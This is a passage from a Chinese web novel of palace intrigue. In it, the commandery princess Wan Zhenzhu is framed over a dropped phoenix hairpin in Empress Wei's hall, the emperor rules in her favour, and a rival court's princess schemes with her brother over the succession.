“浑江妹妹安好。”林江郡主也回了一个平礼。 “我这人唠叨,凑上来,就想跟妹妹闲聊趣事,打发时间。妹妹可别嫌烦。”林江郡主的态度不错。 “一个人怪闷的。”万珍珠接了林江郡主的笑脸,回道:“您乐意,我也当一回听众。可要听一听您的高见。” 跟谁聊天,不是聊天。万珍珠没拒绝。 有人叨叨,在这等场合里,那也可以假装自己没被排挤,没被冷落。 虽然万珍珠脸皮厚一点点。可有人愿意伸援手,实在没必要拒绝掉。 就在万珍珠和林江郡主聊着一点镐京都的趣事时。昭阳宫的宫人来传话。 “浑江郡主,皇后娘娘有请。”宫人态度客气的行一礼,尔后,讲道。 “皇后娘娘相召,可不敢耽搁。浑江妹妹,你赶紧去吧。”林江郡主说道。 “嗯。”万珍珠轻轻颔首。她跟林江郡主告辞。尔后,便随宫人往昭阳宫的主殿去。 昭阳宫,主殿内。 一进殿内,万珍珠总有一种安静过头的感觉。甭管心里如何想?万珍珠先给皇后见礼问安。 “免礼,平身。”魏皇后端坐于上首,她跟前面的态度一样淡淡。 只这一回,魏皇后留了万珍珠说话。不止如此,还赐坐了。 魏皇后留着说小话,能讲什么?万珍珠心头好奇。 前世今生,万珍珠对于魏皇后不了解。对于前世的镐京都有哪些风云变幻,也知甚少。 不过嘛,有一些事情挖一挖前世的忘记,万珍珠还是知道一点点。 前世,万珍珠知道的便是魏氏一族被抄家流放。 魏皇后被废掉。至于更多的为什么?究竟怎么回事?万珍珠通通不知道。 谁让前世的万珍珠只是一个家生子奴隶。上一辈子的万珍珠挣扎在小小的奴婢圈子里。 所见所闻,闭塞耳目。 “陛下喜了万大伴。本宫自然跟陛下一体同心,也是瞧着你顺眼。”魏皇后的语气高高在上。 对于魏皇后从骨子里透出来的瞧不上,万珍珠不介意。 不说魏皇后的母亲是庆德长公主,这一位魏皇后是天子的表妹。 就说如今的魏国公府也是宣威赫赫,万珍珠应该低头时,她就会低头的。 反正万珍珠会安慰自个,魏皇后是被废的命。 她又何必跟一个短命鬼计较。没得气坏自个,还是便宜 别人。 这般阿Q胜利法,多想一想,万珍珠心气平顺了。 “父亲得天家器重,实乃皇恩浩荡。”万珍珠此时先起身,向泰和宫的方向又行一礼,尔后,说了这一句话。 “父亲在臣女跟前常说,让臣女懂得感恩天家。”万珍珠摆明了态度。 那就是拍一拍天家的马屁。至于天子听不听得到,这不重要。 只要天子想知道的事情,那一定会有人乐意讲一讲。 至少万珍珠知道的,亲爹办事,那一定偏心亲闺女。 亲爹可说过的帮亲不帮理。万珍珠信了,她全当真了。 “真是巧嘴,说的好听。”魏皇后点点头,笑道:“本宫也爱听这讨巧的话。” “本宫与陛下帝后一体。陛下器重万大伴,本宫也乐意抬举了浑江郡主你。”魏皇后的目光落在万珍珠的身上。 话罢,魏皇后从头上取下一支凤钗。她招招手,让身边侍候的一等宫女走上前。 “瞧着浑江郡主今日的打扮是朴素了一点。”魏皇后端详着万珍珠的装扮,她发表自己的看法。 听着魏皇后的话,万珍珠的嘴角动一动。她没讲话。 搁万珍珠的真心话,她为着入宫一事,可谓是不想落了体面。 哪里朴素了?万珍珠真想说,她这一身的珠光宝气很耀眼,好吧。 可魏皇后觉得她太朴素,成吧,皇后娘娘咋说,那就咋样。 万珍珠默认了贵人的一番话。 “赐给浑江郡主,当是本宫给的添彩。”魏皇后递了凤钗给一等宫女。让宫女呈到万珍珠的跟前。 这一位一等宫女是谁?万珍珠不熟悉。 万珍珠是第二回进宫廷。对于宫廷内的人物不熟是常态。 此时的万珍珠忙起身行礼,道:“皇后娘娘恩典,臣女感激涕零。” “不必多礼,平身。”魏皇后摆摆手,浑不在意的样子。万珍珠又谢过话,方才起身。 此时,一等宫女呈上凤钗,呈于万珍珠跟前。 万珍珠伸出手,她准备双手捧了这一支风钗。 略瞧一眼,凤钗太美。就是这规制上,免不得让万珍珠琢磨着,她戴了发髻上真的合适吗?会不会超过标准。 “……”在万珍珠的眼皮子下,她没接住一等宫女递上来的凤钗。 凤钗落地板上,凤钗上的宝石珍珠摔掉了。还在地板上滚了几圈。 在这一刻,殿内的气氛似乎凝固了下来。 万珍珠可以很肯定,这事情闹出来她一定没错。 她的态度很谨慎。如此,真出错了,错不在她。 “啪”的一声。一记响亮的耳光。 万珍珠给了摔掉凤钗的一等宫女一记恶狠狠的耳光。 此时此刻,万珍珠心头就一个想法,这人害她。 “皇后娘娘,这宫人刚才故意的闪躲了一下,如此,才让臣女没能接住您赏下来的凤钗。此人心生恶意。”万珍珠伸手一指一等宫女,高声讲话。 “这等歹毒之辈,一定是起了歪心思的坏蛋。”万珍珠继续口吐芬芳,声音越说越大,道:“您可不能冤枉好人,让坏人得逞了。” 万珍珠一幅自己理直气壮的样子。 至于堂堂昭阳宫的一等宫女,还是魏皇后眼前的贴身宫女有什么原由要害她?万珍珠懒得多想。反正事情发生了。 甭管是不是昭阳宫的恶意,是不是魏皇后的恶意? 万珍珠又不能追究。干脆让这一个动手害人的一等宫女背黑锅了。 宫女背黑锅,背得动,背不动?万珍珠不在乎。 万珍珠前世今生,两辈子都吃过苦头。就这一辈子来了镐京都后,那才开启了舒坦的好日子。 亲爹做金大腿,万珍珠就是偶尔发疯了,胆肥了。反正有亲爹在。 万珍珠心想着,她总不会被人打死的。 既然不会死,那就做作一回。也免得让人当包子,想咬一口,就咬一口。 软柿子被人捏,那么,万珍珠就做铜豌豆,煮不熟,锤不烂。 “……”魏嬷嬷侍立在魏皇后身侧。她全程见证了这一番大戏上演。 前面瞧浑江郡主规矩的模样,魏嬷嬷还当是小家子气的奴才出身,倒底被皇家的气势压了。 那肯定底气不足,也是闹不出大乱子? 哪料想,她错了。魏嬷嬷真觉得自己错了,大错特错。 此时此刻,在魏嬷嬷的眼中,万珍珠哪里是小家子的奴才出身。 这人的性子野得很,简直就跟猴子似的没定性。 一个外八路得了封号的郡主。名不正,言不顺。还敢在昭阳宫里当着皇后娘娘的面打了宫人的脸。 这胆子,简直就是胆大包天。这会儿的魏嬷嬷给出自个的评价。 魏嬷嬷被惊住,让万珍珠露一手。惊归惊,魏嬷嬷还是赶紧的瞄一眼皇后娘娘的脸色。 魏皇后也被惊住。这般不讲体统的人,魏皇后是头一回见到。 “万氏女,你在本宫跟前失仪,若计较,可知道当议了何等大罪?”魏皇后发难,怒声诘问。 “我不是替皇后娘娘抓到了一个心思不正的宫女吗?”万珍珠满脸的无辜。 “她做坏事,我无辜的。”万珍珠理直气壮的回道。 “皇后娘娘,请您明鉴。”万珍珠跪下来,跪得板板正正。 至于被万珍珠狠狠煽了一耳光的宫女,此时她的脸上浮现了一个掌印。 很显眼,特别是被宫女脸上的白净皮肤一衬着,那就更是掩不了。 镐京都,皇城,泰和宫。 万忠良正在当差,哪怕皇家宫宴,那有皇后安排。万忠良的差事是陪了帝王跟前,解帝王之忧。 “……”万忠良正在当差,或者说正站了帝王身侧当木头桩子时。他眼角余光一扫,就瞧见了干儿子的身影,那鬼鬼祟祟的样子,脸上还是神色焦急,貌似有事的模样。 万忠良小心的退下,在殿外,他跟干儿子问道:“有事?” “干爹,昭阳宫里,浑江郡主出事了。”义子不敢隐瞒,把探听到的消息一五一十的讲一遍。 万忠良听罢,又仔细的寻问一遍。尔后,摆一摆手,挥退了干儿子。 “起风了。”万忠良无声的呢喃一句。 瞧一遍天空,明明是难得的好日子。瞧着,倒是有人想堵心。 又回殿内,万忠良没开口讲话。他继续当差。 对于亲闺女出事,万忠良貌似在沉默。 “大伴,瞧你出去一趟,归来又是神不思蜀的。又出什么事情?”洪福帝问道。 对于身边的老人,洪福帝觉得他自己挺了解。特别是陪他长大的大伴,洪福帝在万忠良的身上体会到亲情的感觉。 对外人而言,万忠良是一个没根的太监,天子家奴尔。 对于洪福帝而言,万忠良是贴身伴伴,有一份亲情在的。 “奴才向陛下请罪,奴才有罪。”万忠良见天子问了,他忙做出跪下请罪的姿态。 “说说,何事?”洪福帝神情严肃。 这时候万忠良的态度很客观,他用一种旁观者的视角讲一回昭阳宫里发生的事情。 万忠良请罪,也只讲女儿有错。他和女儿是天家的奴才,任打任罚,绝无二话。 “只是奴才担忧,今天乃冬至节。昭阳宫里的诰命女眷太多。若是传了一些不好的风声,恐伤皇家颜面。”万忠良是一幅忠臣的模样,一心一意,全替天家考虑。 “奴才父女有千错万错,私下里避着朝廷显贵诸臣们,全由陛下和皇后娘娘想如何罚,就如何罚。可今个的冬至节,万不可张扬了。”万忠良一再表明他的立场。 “皇后,唉,表妹的脾气太坏。”洪福帝实话实说一回。 在贴身大伴跟前,洪福帝不是头一回说这般的无奈之言。 “摆驾昭阳宫。朕要去瞧瞧。”洪福帝吩咐一句。 “大伴,你去安排吧。” 有天子吩咐,万忠良磕头后,赶紧起身安排。 昭阳宫。 魏皇后罚了万珍珠这一位浑江郡主, 罚她一直跪着。 依魏皇后的性子,真想罚万珍珠去殿外跪着。也是尝一尝冬日的寒凉。好在,还让赵修媛给劝住了。 赵修媛敢劝,那是魏嬷嬷差人去请来的。 魏嬷嬷人老了,胆儿太小。她真怕皇后心一横,万一摁死掉浑江郡主。 那就让昭阳宫跟万太监结下死仇,没得和解的机会。 至于赵修媛会来,那是表面上一直跟魏皇后和气一团。 或者说赵修媛不得宠了,往昭阳宫多走动一二。 有王贤妃做出头的椽子,赵修媛在魏皇后跟前就是瞧着顺眼一点。 堂堂皇后娘娘,跟前总要有一两个能抬举的小跟班。 在魏皇后眼中,攀附上来的赵修媛就是她的小跟班。 这小跟班劝话,貌似听着还有一点道理。魏皇后就忍了一口气,没罚浑江郡主去殿外跪着。 在殿内跪着,只要魏皇后封口,也没谁敢嚼舌根子的乱传话。这事情压了,便是压下去。 就是浑江郡主自己受罚,她也不敢乱嚷嚷。 嚷什么?说自己被昭阳宫的皇后娘娘罚了。 为何罚了?这不是没事寻了虱子搁脑袋上抓痒痒嘛。 依着赵修媛的话,大家伙都是体面人。没把脸皮摔在明面上,那就有的谈。 等圣驾来了昭阳宫时。洪福帝瞧见的便是跪地上的两人。 一人是浑江郡主万珍珠,她是昂着头,她认为自己没错。她冤枉的很。 另一人是昭阳宫的宫女,被万珍珠喊打喊杀的。在口头上又扣了几顶大帽子,还挨了万珍珠一记耳光。 “恭请陛下圣安。” “皇后免礼。” 洪福帝进了昭阳宫的主殿,对于宫人的见礼,他不在意。 洪福帝是搀扶起魏皇后,这态度上还是颇亲近一二分。 此时,天子来了,执起魏皇后的手往主位上去。 帝后落坐,洪福帝瞧着跪下面的二人,问道:“朕来,这替皇后断了这一桩官司如何?” 魏皇后的目光扫过一眼万忠良。对于天子为何急匆匆而来?魏皇后有揣测,肯定是这老奴撺掇的。 狗奴才。在心里,魏皇后恶狠狠的骂一回。 “陛下断官司,可得断一个明白。万不能让人钻了空子,凭白无故的逃了惩罚。”魏皇后意有所指的讲道。 听着皇后表妹的话,洪福帝听着不顺耳。 早年,洪福帝觉得皇后是刀子嘴豆腐心。就是嘴硬一点,脾气骄纵一点。人嘛,还是挺不错的。 可这些年相处下来,洪福帝瞧着皇后表妹是坏了性情。越是相处,洪福帝越不乐意来了昭阳宫。 搁其它宫里,洪福帝见着的全是解语花。哪怕是偶尔有撒娇拿乔的,那也是使了小性子,全当闺房乐趣。 真面对帝王时,人人都是捧了一颗忠心,任由帝王采摘。 于是魏皇后就是成了帝王心里的昨日黄花。人不美,想得多。 魏皇后的容貌不俗。至少长得真不差。可惜,一张脸让帝王瞧久了,也是厌倦了。 或者说皇后表妹在洪福帝的心里,这皇后当得也不称职。 年二十,亲政几年的洪福帝膝下子嗣太少。生三子,就活一子。 活下来的一子,还是有着大伴相劝,让皇帝亲自抚养才平平安安。 前面两个皇子没养住,特别是生下来健健康康的二皇子。 这让洪福帝有遗憾。有遗憾,怨谁呢? 天子不会怨怪自己在儿子身上投入的精力太少。 洪福帝只会怨了抚养二皇子的嫡母魏皇后。魏皇后不用心。 这“不用心”三个字嘛,帝王也要怀疑,又会不会是故意的不用心。 谁让魏皇后想有一个嫡出皇子的心思闹得满宫上下,人人皆知。洪福帝也知。 可洪福帝不在意了嫡出皇子。后宫佳丽,美人良多。 哪一位嫔妃替天子生下皇子,那流得都是洪福帝的血脉。 只要继位江山的新君是洪福帝的亲儿子。洪福帝真不介意了未来的新君生母是谁。 洪福帝也劝过话,劝皇后表妹放宽心。皇后是诸皇子的嫡母。便是帝王百年之后,中宫皇后也会被新君尊为母后皇太后。 洪福帝想得美,就是魏皇后跟洪福帝不是一样的心思。 于魏皇后而言,不是她肚皮里爬出来的皇子。又哪能跟她一条心。替别人养儿子,魏皇后还怕养出一个白眼狼。 魏皇后生下了沁阳公主,她觉得自己还年轻,还能生。 魏皇后才不会替后宫里的那一些狐媚子养儿子。没得便宜了哪一个狐媚子。 “皇后,朕提醒你一回,今个,那是要举办宫宴的冬至节。你闹腾了,又想过没,万一抖出丑事来,一是落了皇家颜面。二是损伤了中宫娘娘的贤名。”洪福帝劝一回话道。 帝后一体。洪福帝觉得一年又一年,他替皇后表妹转圜的坏事太多。一件又一件,洪福帝恼了。 “……”魏皇后从天子加重的语气里,她也意识到,她一时冲动,好像踩着帝王的底线。 “陛下英明,您断的案,哪能有错。自然依您的意思。”魏皇后回道。 洪福帝瞧一眼皇后表妹,尔后,他的目光落了跪着的二人。 “来人。”洪福帝一开口,就是唤了话。 “把这奴婢押下去关了内狱。今日佳节,不可见血。明日,仗毙。” 洪福帝哪是审案?他压根不想审。 快刀斩乱麻,洪福帝的眼中,万大伴不会错。有一些人掺合着,那就想挑拔了事。 洪福帝就是想敲打一些人。这是赤祼祼的敲打。 昭阳宫的一些不当言论,洪福帝听过。他很介意的。 “……”魏皇后想开口讲话。她觉得自己脸红了,被气的。 天子表哥哪是审案?这是偏袒,简直就不要脸。 魏皇后很生气。魏嬷嬷很冷静,她在旁边急的跟热锅上的蚂蚁一样。 想劝,这场合不对。魏嬷嬷一介奴婢,她没资格开口讲话。 “陛下,您还没审……”魏皇后忍不住,她怒极说道。 只是皇后的话没讲完,就被洪福帝打断。 “朕来之前,已经过问。如今,这一切就是朕的态度。”洪福帝的目光落在魏皇后的身上。 “皇后,不尊圣谕否?”洪福帝冷漠的问道。 瞧着帝王冷漠的态度,魏皇后心凉了。她不敢再开口。 跪下面,一直当背景板的万珍珠听着这一幕幕的对话。 万珍珠知道这一桩事情的背后由谁指使。一等宫女,一个工具。 思来想去,除了魏皇后指使,皇后跟前的贴身宫女又哪敢如此脑残的做出这等不讲究的事情来。 可偏生皇后犯错,皇后不会被罚的。被罚的,丢小命的人是听差遣的宫女。 宫女坏不坏?搁万珍珠这一边是坏得流脓。 但凡换一人,不像万珍珠这一般有亲爹做靠山。 如此明晃晃的栽赃,一定会成功。 说明白点,这一个世道的规矩嘛,简单的讲,上位者的话就是规矩。 规矩二字是用来约束位卑者的。上位者嘛,那想践踏,就能践踏。 光想一想,万珍珠没亲爹。要被仗毙的人肯定是万珍珠。 别人小命要紧,还是自己小命要紧?只要不是傻子,这一个答案不必选。肯定是自己的小命要紧。 “浑江郡主,朕的裁决,你可有异议?”洪福帝又问了跪着的万珍珠。 魏皇后此时气狠了。她扫一眼跪着的万珍珠,那就跟看一个垃圾似的。 就跟多瞧几眼,就好像会被污染一样的讨厌憎恶。 万珍珠跪直身子,她恭敬的向洪福帝磕头,说道:“陛下英明,您还了臣女一份清白。” “臣女感恩,唯愿陛 下万胜,大晋万年。“万珍珠伏身行了大礼。 “乃父是忠臣,汝当学其父。”洪福帝又讲一句。尔后,摆摆手,让万珍珠退出主殿去。 万珍珠再谢恩,如此,方是告退离开。 离开了主殿,万珍珠的腿麻麻得。可她不在意。万珍珠这会儿还想着魏皇后对她的浓浓恶意。 心烦。对于进宫一事,万珍珠在心里吐槽。 她是真不想再进宫了。 想着自己讨厌宫廷里的恼人事。再想一想朱三姑娘攀附多方就为着进宫搏富贵。 万珍珠忍不住的感慨,真是各样人,念头不同啊。 冬至节。 万珍珠参加了皇家宫宴。至于昭阳宫里,那发生过一回的被刁难小事,又是风平浪静的过去。就好像一切都没有发生过一样。 实则万珍珠清楚,有些事情,闹出来了,那就是真有事。 只是亲爹不提,万珍珠想学一学养气功夫,她也没急着提一提。 等着冬至过,腊月来。 镐京都的天气更冷了,这一日,亲爹没当差。 万珍珠又煮茶,她和亲爹一道品茗。也可谓是偷得浮生一日闲。 父女相处,闲人避开。 至于亲娘?牛二囡最近也忙碌,得了请贴,自然赶了各家的宴会。 此时,花厅里有地龙,暖和的很。万珍珠煮着茶,陪着亲爹闲谈趣事。 “闺女,最近可听着你娘的感叹。”万忠良问一回话道。 “听过。”万珍珠点头。 “娘总感叹镐京都的公子郎君,上上人选太多,娘给挑花眼。一时拿不定主意了。”万珍珠不热心着参加宴会。她就想躲一躲清闲。 至于什么公子郎君,求问姻缘。万珍珠没心思。魏皇后的恶意针对,万珍珠一直记心底。 魏氏一族不倒台,万珍珠哪有什么心思寻良缘。 “只是爹爹,冬至节女儿入宫发生的事情。可能有些人不知道。可女儿却记着呢。”万珍珠重提旧事。 “爹爹,女儿哪能寻了好人家。万一那好人家知道女儿不得了皇后的喜欢。真有坏心肠拿着女儿去讨好长公主和国公府的欢心,到时候女儿能有好果子吃吗?”万珍珠很怀疑的。 “……”万忠良瞧着闺女呈上来的茶汤。他端起来,不急着饮。 万忠良笑道:“咱当你忘记这事,瞧你,一直不提。眼下提了。原来没忘记啊。” “爹爹。”万珍珠唤一声。 “您啊,还拿坏事打趣女儿。”万珍珠撒娇一回。 “您可是说过帮亲不帮理。女儿还盼着您主持公道。谁让女儿心里没底气呢。”万珍珠想讨一颗定心丸子。 或者说在魏皇后和魏氏一族没解决前,爹娘把她的婚事拖一拖。 十五岁在这一个世道里及笄了,应味着成年了。 平均年龄,一辈子就活不足三十五岁的古代嘛。早成婚,早生子,万珍珠能理解。 可万珍珠的好日子过着。她真不想早成婚。 晚一点,多过一些好日子,多舒坦。 想一想,真成婚了,离开爹娘。万珍珠舍不得。 大赵朝,燕京都。 赵济世结束一日的当差,刚一归家。赵济世见着兄弟马义登门。 兄弟聚一聚,赵济世让义弟陪着吃酒一回。冬日吃酒,暖和身子。 这酒没吃上,马义先给赵济世讲了一个新消息。 “大哥,您让一直盯着的程廷清出事了。”马义说道。 程廷清,这一位跟淑阳公主有过一腿。虽然没闹大。 到底是赵济世去收尾的。说是收尾,不如说是让程廷清识趣点,往后莫要大嘴巴子的乱说话。 “谁干的?”赵济世问道。 “淑阳公主差人干的。”马义说道:“要说,这公主殿下也是心狠的。” “公主殿下是贵人,贵人嘛,容不得欺瞒。程廷清一屁股的屎。没闹开时,算他运气。”赵济世却是淡然。 “真让人查了老底细,程廷清翻船了,那也是究由自取,怪他自己太贪心。”赵济世为何这般讲。 当然是因为赵济世查了程廷清的底细。一是想拿捏住程廷清,让他认清自己的本份。 二嘛,赵济世防患于未然。这程廷清真不识抬举。他家族里有人,总有长辈劝得住。 结果查出来的真相就是程廷清在燕京都里勾引淑阳公主。 在老家时,还有老情人。不止是青梅竹马的表妹。还有了钻过被窝的俏寡妇。 才子风流债,那是真风流。啧啧,赵济世也感慨一回。 “行了,这事情既然是淑阳公主的意思。跟咱们不相干。”赵济世浑不在意。 “走,咱们兄弟去吃酒。冬日吃一点暖酒,暖暖身子。”赵济世讲道。 “好。”马义听着吃暖酒,他开心应话。 燕京都,齐王府。 淑阳公主虽然得了公主的封号。可她还住了齐王府。至于给公主建的府邸,淑阳公主是没有的。毕竟她要去大晋朝和亲嘛。 冬日,又下一场雪后,淑阳公主摘几枝红梅,她去了兄长住的前院。 李明弘见着妹妹,心情甚是不错。 “打扰哥哥了。”淑阳公主温柔笑着。 “你再是多打扰几回,为兄也愿意。”李明弘讲道。 “怕不成,来年,我就要去西边。”淑阳公主嘴里的西边,自然是大晋朝的镐京都。 “有一事我想跟哥哥讲。”淑阳公主在书房落坐后,她与哥哥单独相处时,开口讲道。 “你且说吧。”李明弘回道。 “我去西边,一去再难归来。母妃跟前,请哥哥年年祭祀时,也替我上香祈祷。如此,全我一份孝心。”淑阳公主说着这话时,眼中含量了泪花。 只淑阳公主又眨一眨眼睛,泪花给咽了回去。 瞧着这般楚楚可怜的妹妹。李明弘又是痛恨了自己的无能。 皇祖父、父王皆有命令,李明弘忤逆不得。 于是,只可怜妹妹小小年纪去他国和亲。李明弘心如刀割。 这般孝顺的妹妹,父王从来瞧不见的。唉,李明弘替妹妹痛心。 “我们一母同胞,母妃跟前,我自会祭祀了血食香火。妹妹不必记挂。”李明弘说话时,又劝道:“我也知,母妃在九泉之下一定殷殷盼着,盼妹妹无恙,盼妹妹安康。” “妹妹,除此外,可还有什么念想。为兄替你周全。”李明弘想替妹妹圆满一点。 “哥哥,我这一辈子有您心疼,我心里暖暖的。”淑阳公主笑了,笑得开心。 “再说,我若有想周全的事情,也办到了。”淑阳公主轻轻点头,似乎自己满足的样子。 “就是……”淑阳公主沉默片刻后,又道:“我可能已经弄脏自个的双手。” “……”李明弘沉默片刻,讲道:“妹妹在意了程廷清的死?” “……”淑阳公主抬头,她瞧着兄长,目光灼灼。 “原来兄长都知道啊。”淑阳公主的语气带了尾音儿。 “我担忧妹妹,差人护着些。”李明弘替自己解释。 “至于那程廷清,他该死。妹妹,你做得没错,做得很对。”李明弘站在上位者的角度瞧事。 他的亲妹妹淑阳公主是贵人。程廷清敢坏妹妹清誉,又是贪婪无耻之辈。 死,还是死得太痛快。在李明弘的心里,那是便宜彼辈。 就是妹妹淑阳不料理了程廷清。等着妹妹出嫁后,李明弘也会让程廷清没果子吃。 “哥哥心疼我。不怨我脏了手,我心里欢喜。”淑阳公主笑了,这一回笑得真诚。 “来年,我送妹妹出嫁吧。”李明弘讲道。 “不可。”淑阳公主连忙拒绝掉。 “哥哥,你身边的侍卫长做了陪嫁的护卫统领足矣。”淑阳公主此番的讲话,自然有她的理由。 她又道:“我听说,宫里的皇祖父病了。入冬后, 连病两回。” “一般小病,宫廷想瞒了,一定瞒得住。皇祖父病两场,还瞒不住人。哥哥,这是大事。”淑阳公主的眼神里有光芒。 “我不得父王欢心,可父王的眼中,哥哥是最优秀的儿子。”淑阳公主的嘴角含一抹笑容。 “哥哥,您越尊贵,母妃也能蒙了余荫。”淑阳公主指一指自己,笑道:“我也一样,我也盼着沾了哥哥的余荫。” 皇长孙让过逝的母妃沾余荫,让和亲的妹妹沾余荫。 那得什么福份了?淑阳公主没明说,可他们兄妹二人都清楚。 淑阳公主嘴里的余荫,岂是小小皇长孙能荫庇的。 至少,那也得是东宫太子,又或者说,正确答案是大赵天子。 “……”李明弘沉默。 “哥哥,大局为重。”淑阳公主劝道。 大局为重。这四字于齐王世子李明弘而言,他听了不止一回。 父王讲,大局为重。妹妹讲,大局为重。 那么,大局是谁? 李明弘当然知道的,在皇家嘛,一切都要为了那一把龙椅退让。 父不父,子不子。李明弘没得退路。至少他自己觉得如此。 因为他的父王是皇长子,他是皇长孙。还是皇家的嫡长孙。 落李明弘这等身份,一旦退了,身后是万丈深渊。 “我知。”李明弘点头,他心火热。 “妹妹的一片心意,我全记着。”李明弘的话虽没明言,却是承诺。 淑阳公主在兄长面前说着大局。可在心底,淑阳公主的情绪很复杂。 淑阳公主想,若是皇祖父驾崩,她是不是要守孝?明年春,她是不是就不用去大晋朝和亲。 待父王登基了,她这一个不受宠的女儿,又可不可以多得父王一点怜惜。 万一呢,万一抢回了身份,由着贞静姑姑去和亲多好啊。 淑阳公主心情矛盾的很。她一面唾骂了自己不孝。做为小辈,她应该盼着皇祖父长命百岁。 可另一面的黑暗深处,在心底,淑阳公主又真的盼着皇祖父驾崩。 想着贞静姑姑有皇祖父宠着,贞静姑姑想不和亲,就能改了圣意。 淑阳公主岂能不怨了,不憎恨。她不是圣人,她骗不了自己。她是怨着贞静姑姑的。 第39章 大晋朝,镐京都,内城,浑江郡主府。 万珍珠在待客。林江郡主就是热忱登门的客人。 来了镐京都这几月里,万珍珠发现,她真心交好的朋友就一人,便是林江郡主。旁人于万珍珠总有需求。林江郡主没有。 至少万珍珠没发现林江郡主提了什么要求。恰恰相反的,林江郡主很乐意带着万珍珠融入了镐京都的上层圈子。 特别是公主郡主们的圈子,林江郡主是一位热忱的领路人。 “我就好这一口。”林江郡主拿着小筷夹了一个小点心。一口一个,入口美味。 嚼了点心,咽入腹中。林江郡主还是回味一番,赞道:“浑江妹妹不止做了一手好茶饭,点心果子,烹茶煲汤,样样拔尖。真羡慕了妹妹往后的夫君。” 林江郡主感慨一回。 “可惜我是一介妇人。我若是一位郎君,一定要娶了浑江妹妹这般的新妇。”林江郡主再一次叹息。她怎么在投胎时,就投成一个女胎。 若是投成了男胎,再娶了浑江妹妹。林江郡主就满意的很。 “林江姐姐,你莫夸,你再夸,我飘了。”万珍珠指一指自个,她笑得开心。 跟林江郡主相处这些日子下来,万珍珠跟这一位宗室郡主很投缘。 或许是林江郡主的一些做法,那一份从骨子里透出来的洒脱,让万珍珠真羡慕。 不止一次,万珍珠觉得做了林江郡主这般的人物,哪怕生活在这一个时代里,也是一种福气。 瞧瞧,人家的人生多惬意。 “林江姐姐,您这命好。您可不知,多少人都要羡慕了姐姐这一辈子的福份。生于天家宗室,生来就是贵人。一辈子衣食无忧,又是膝下有亲生的子嗣。前程不必担忧,未来已有依仗……”万珍珠说的诚心诚意。 “也就浑江妹妹你羡慕了我。”林江郡主笑道:“我可知道,不知道多少人在背后蛐蛐我。说我克夫。” “不止克夫,还是福薄。”林江郡主又夹起一个小点心,一口一个。 瞧着林江郡主吃点心,吃得真欢喜。万珍珠特受用。 毕竟自己做的美食,让人真心享用。那一等的收获感之外嘛,让万珍珠觉得还很有成就感。 “子非鱼,安知鱼之乐。”万珍珠自己也是夹了一个小点心入口。 点心果子好吃,吃了美食,心情愉悦。万珍珠笑道:“旁人非是林江姐姐,又哪懂姐姐的快活人生。” “对,我就要快快活活的过一辈子。”林江郡主笑得开心。 “天冷,妹妹,我特意带了果酒来。如何,温上酒,我们吃些暖酒,暖暖身。”林江郡主提议道。 “好啊。”万珍珠不拒绝。 果酒,酒精度数低。万珍珠也想尝尝味。与人吃酒,特别是与知己吃酒。那是人生一快事。 待温上酒,万珍珠又吩咐一回话。 不多时,鸳鸯锅子也煮上。涮了肉片与素菜,沾了调料吃一吃。 吃一吃锅子,再是喝一喝小酒。这般滋味,舒坦极了。 万珍珠一琢磨,也想通了,她如何会跟林江郡主走得近。 二人相性太好,瞧瞧,二人都爱吃果酒。二人都喜品美食。 特别是跟林江郡主凑一起时,万珍珠茶也少饮,倒是果酒来者不拒绝。可谓是杯中神仙。 这一日,万珍珠跟林江郡主过得快活时。丫鬟来禀话。 “哦,承恩公府的世子夫人又登门?”万珍珠惊讶一回。 这不是承恩公府的头一回拜访。冬至节那一日的事情没传出去。 关于魏皇后恶了浑江郡主的一点小事没有风声。 可是,那不代表了万珍珠的心头就不记一笔。 当然,万珍珠在脑子里的小本本上重重的记一笔。不止,还在心里画个圈圈咒了魏皇后。 奈何承恩公府倒是有热忱人。三番五次的拜访浑江郡主府。 人还不是空手登门,每一回都带重礼来。今个寻一个理由送礼,下一回再寻一个理由送礼。 让万珍珠想拒绝,那都不成。 头一回得了重礼,万珍珠收下来。她怕自己不收,还让承恩公府误会,万一,承恩公府以为她记仇,早晚得报复回来。 虽然,万珍珠真想跟昭阳宫的魏皇后扳一扳手腕子。可惜现实不允许。 魏皇后是中宫娘娘,万珍珠名不符实,一个封号郡主。 没得食邑的郡主,纯粹的空架子。万珍珠哪敢明晃晃的跟魏皇后一系人马顶牛。那不是没事寻罪受。 收一回承恩公府的礼,表示一下她的感谢。 至此,万珍珠以为旧事已翻篇。 哪料想,从那后,承恩公府的世子夫人就乐意跟万珍珠凑近些。 来镐京都,万珍珠想过舒坦日子。至于组建了朋友这样的小圈子。 万珍珠是挑剔的,性情不和,没必要硬凑一起。 或者说,依着万珍珠的想法。交些酒肉朋友,吃吃喝喝就不错。 至于什么闺蜜?什么手帕交。那真没必要。 前世今生,加上穿书的记忆,万珍珠活了三辈子。 三辈子里,人生经验告诉万珍珠。在利益面前,友谊不一定经得住考验。 还是讲一讲利益的好。吃吃喝喝,不掺合利益就挺好。 “承恩公府登门,贵客。”林江郡主在旁边笑道:“浑江妹妹又有客人登门,今个我已经打扰许久时间。” “要不,我先告辞。来日,我们约了时间,我再登门。”林江郡主笑道。 万珍珠回道:“哪用来日相约,林江姐姐瞧着哪一日得空闲,不拘 着你来浑江郡主府,还是我去林江郡主府。都可,全随心意罢了。” “成,依妹妹的话,全随心意。”林江郡主乐呵呵。 林江郡主告辞离开。万珍珠简单整理一下妆容,尔后,她就去见一见承恩公府的世子夫人。 这一位魏国公与庆德长公主的儿媳妇姓甄。 她巴巴儿的多跑许多趟浑江郡主府。还是乐意拉了关系,让万珍珠叫她一声甄姐姐。 万珍珠想拒绝。最后,在甄氏送的一份又一份重礼面前。 万珍珠屈服了。没法子,对方给的太多了。 至于说不收礼?万珍珠寻问过亲爹。 依着亲爹的意思,不必怕,承恩公府的礼,送多少,收多少。 只有嫌弃给少的,哪能嫌弃给多了。 郡主府前院待客的花厅里。 万珍珠一进门,她就瞧见在吃茶的甄氏。 这会儿甄氏与万珍珠见礼。二人见的平礼。 “万妹妹。”甄氏唤人时,唤得热忱。 “甄姐姐。”万珍珠走上前,笑容满面的讲道:“您先请落坐。” 甄氏又落坐,万珍珠也落坐。此时,万珍珠说道:“甄姐姐,你每一回登门都带礼物。太客气。” “我的一点子心意,就想塞给了妹妹。怎么,妹妹可是嫌弃上?”甄氏嗔怪一回。 “我就一个收礼的,哪还能嫌弃礼多。这不是瞧着甄姐姐是有情有义的人,也不好总是让姐姐吃亏。”万珍珠动手,她亲自给甄氏的茶盏里添一回水。 